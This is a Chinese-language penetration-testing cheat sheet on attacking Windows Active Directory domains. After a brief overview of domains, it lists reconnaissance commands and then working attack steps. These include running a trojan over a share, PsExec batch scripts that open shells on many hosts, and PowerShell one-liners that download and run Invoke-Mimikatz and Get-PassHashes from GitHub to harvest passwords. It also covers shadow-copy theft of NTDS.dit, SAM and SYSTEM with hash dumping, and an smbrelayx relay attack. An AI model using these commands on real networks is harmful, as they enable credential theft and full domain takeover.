windows域安全

TL;DR

  • 域安全笔记

  • 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
  • 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
  • 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
  • Active Directory = LDAP服务器+LDAP应用(Windows域控)
    就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。

    内网信息搜集以及常见域命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    ipconfig /all 查询本机IP段,所在域等
    net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
    net user 本机用户列表
    net localhroup administrators 本机管理员[通常含有域用户]
    net user /domain 查询域用户
    net user 用户名 /domain 获取指定用户的账户信息
    net group /domain 查询域里面的工作组
    net group 组名 /domain 查询域中的某工作组
    net group "domain admins" /domain 查询域管理员列表
    net group "enterprise admins" /domain 获得企业管理员列表
    net group 组名 /del /domain 删除域中的某组
    net group 组名 组成员名 /del /domain 删除域中的某组的组成员
    net localgroup administrators /domain 登录本机的域管理员
    net group 组名 /add 增加域中的组
    net localgroup administrators workgroup\user001 /add 域用户添加到本机
    net group "domain controllers" /domain 查看域控制器(如果有多台)
    net time /domain 判断主域,主域服务器都做时间服务器
    net session 查看当前会话
    net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
    net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
    net share 查看SMB指向的路径[即共享]
    at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行
    net view 查询同一域内机器列表
    net view /domain 查询域列表
    net view /domain:M0RK 查看test域中计算机列表
    net view \\域控的机器名 查看域控共享情况
    nltest /domain_trusts 获取域信任信息
    net session 查看当前会话
    net start 查看当前运行的服务
    net time /domain 查询主域服务器的时间
    echo %logonserver% 查看登录认证的机器(即域控机器)
    net accounts 查看本地密码策略
    net accounts /domain 查看域密码策略
    query user 查看当前的登录信息
    netsh firewall show config 查看防火墙策略
    netsh firewall show state 查看防火墙策略
    route print 路由表
    tracert IP 路由跟踪
    arp -a 列出本网段内所有活跃的IP地址
    arp -s (ip + mac) 绑定mac和IP
    arp -d (iP + mac) 解绑IP和Mac
    tasklist /V 查看进程[显示对应用户]
    tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
    tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
    tasklist /svc 查看进程
    taskkill /im 进程名称(cmd.exe) 结束进程
    taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
    qprocess * 类似tasklist
    qprocess /SERVER:IP 远程查看计算机进程列表
    whoami /all 查询当前用户权限等
    set 查看系统环境变量
    systeminfo 查看系统信息
    qwinsta 查看登录情况
    fsutil fsinfo drives 查看所有盘符
    wmic bios 查看bios信息
    wmic qfe 查看补丁信息
    wmic qfe get hotfixid 查看补丁-Patch号,很实用
    wmic share get name,path 查看SMB指向路径
    wmic startup 查看启动项
    wmic service 查看服务
    wmic os 查看OS信息
    wmic service list brief 查看进程服务
    wmic process list brief 查看进程
    wmic startup list brief 启动程序信息
    wmic product list brief 查看安装程序和版本信息(漏洞利用线索)
    wmic startup list full 识别开机启动的程序
    klist 显示 Kerberos 凭证高速缓存或密钥表的内容
  • 查找域控
    1.dsquery server(或者net group “domain controllers” /domain命令)查找到主机名,然后ping一下主机名,得到的ip一般就是域控机器的ip地址了。
    2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname
    3.nltest /dclist:domainname

    4.cobaltstrike的net dclist直接定位到dc
    或者使用powershell的powerview 获取域当前的信息
    5.adfind、ldifde、adexplorer等工具

  • 常见脚本
    https://pentestlab.blog/2018/05/28/situational-awareness/

    搞定域控

    1.ms14-068 将普通域用户权限提升为域控权限
    https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
    2.查看哪些主机上存在域管理员的活动会话,找到域管登陆过的机器,进而抓取域管的密码或者哈希。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    ## 批量返回shell
    @echo off
    echo check ip addr config file…
    if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
    echo read and analysis file…
    for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "PASSWORD" cmd
    :end
    ## 用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员用户名,即可确定哪些主机上存在域管理员的活动会话
    @echo off
    echo check ip addr config file…
    if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
    echo read and analysis file…
    for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p "PASSWORD" /v) >>d:\result.txt
    :end
    exit

trick1 PTH


哈希传递的工具可参考文章 域渗透——Pass The Hash的实现

trick2 golden ticket

  • 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。

    trick3 抓密码或hash

  • 通过powershell抓取某台机器的明文密码或者哈希

    1
    2
    3
    4
    #抓明文
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts
    #抓哈希
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes
  • dump域数据库

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    vssadmin Create Shadow /for=C: 创建新的卷影副本
    成功地创建了 'C:\' 的卷影副本
    卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4}
    卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
    执行程序:
    \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe
    1.需要先创建好目录,并放入木马或程序
    2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序
    Copy Files
    有些系统运行中的文件是不可复制的,比如像SAM
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\
    PowerShell调用方法:
    Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
    Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
    需要文件:
    https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy
    vssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本
    vssadmin Delete Shadows /For=C:
    ---
    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径
    获取域数据库
    Windows\NTDS\ntds.dit
    Windows\System32\config\SYSTEM
    Windows\System32\config\SAM
    NTDSDump导出域数据库hash值:
    NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt
    或者:
    QuarksPwDump.exe
    QuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值

更多

域内信息搜集

windows中的Credential Manager的信息获取

  • Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。
  • 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录
  • 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。
  • 凭据读取 mimikatz和powershell脚本

    更多可参考Windows中Credential Manager的信息获取

    横向渗透

    横向渗透信息搜集工具

    SMB

    SMB共享枚举

  • SMBMap

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password]
    [+] Finding open SMB ports....
    [+] User SMB session establishd on [ip]...
    [+] IP: [ip]:445 Name: [ip]
    Disk Permissions
    ---- -----------
    ADMIN$ NO ACCESS
    C$ NO ACCESS
    IPC$ NO ACCESS
    NETLOGON READ ONLY
    Replication READ ONLY
    SYSVOL READ ONLY
  • 使用nmap

    1
    nmap --script smb-enum-shares -p 139,445 [ip]

查看SMB的漏洞

1
nmap --script smb-vuln* -p 139,445 [ip]

trick4 smbrelay

python smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exe

https://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py
再谈SMB中继攻击